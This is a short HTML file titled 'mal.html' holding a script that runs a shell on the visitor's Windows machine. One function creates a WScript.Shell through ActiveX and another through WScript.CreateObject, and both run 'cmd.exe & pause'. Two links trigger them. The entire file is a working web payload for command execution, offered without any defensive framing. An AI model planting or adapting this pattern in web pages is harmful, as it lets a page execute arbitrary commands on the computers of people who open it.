mal.html

<script type="text/javascript" language="javascript"> 
  function acitve() {
      var oShell = new ActiveXObject("wscript.shell"); 
      oShell.Run("cmd.exe & pause"); 
  }

  function wscript() {
  	var shell = WScript.CreateObject("WScript.Shell");
	shell.Run("cmd.exe & pause");
}
</script>
calling it with:<br/>
<a href="javascript:acitve()">cmd ActiveX</a>
<br/>
<a href="javascript:wscript()">cmd WScript</a>